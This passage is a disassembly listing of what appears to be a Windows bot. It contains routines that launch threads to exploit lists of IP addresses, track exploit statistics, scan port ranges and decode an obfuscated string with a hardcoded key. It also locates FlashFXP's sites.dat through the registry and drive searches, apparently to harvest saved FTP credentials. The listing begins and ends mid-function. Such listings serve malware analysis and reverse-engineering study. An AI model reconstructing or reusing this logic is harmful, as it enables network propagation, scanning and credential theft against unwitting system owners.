		jmp	loc_413D21
; ---------------------------------------------------------------------------

loc_413FAD:				; CODE XREF: sub_413CB3+2E5j
					; sub_413CB3+2F3j
		push	[ebp+var_334]
		push	[ebp+var_484]
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset dword_41CF8C
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	[ebp+var_330]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_413CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------

loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------

loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------

loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax

loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, byte_41CD80[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	dword_41CDAA[eax]
		push	offset dword_41D054
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	dword_41CDAA[eax], 0

loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------

loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------

loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D100
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------

loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D0C8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------

loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D098
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------

loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"

loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD

loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------

loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------

loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h

loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F

loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------

loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------

loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D130
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------

loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D1A0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C	; Sleep

loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0

loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487

loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------

loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------

loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597

loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------

loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------

loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D18C
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------

loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------

loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D150
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617

loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax

loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643

loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663

loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------

loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax

loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------

loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h

loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD

loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h

loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------

loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h

loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704

loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h

loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------

loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax

loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------

loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax

loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D1E8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------

loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax

loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------

loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax

loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------

loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"

loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------

loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------

loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------

loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------

loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax

loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------

loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
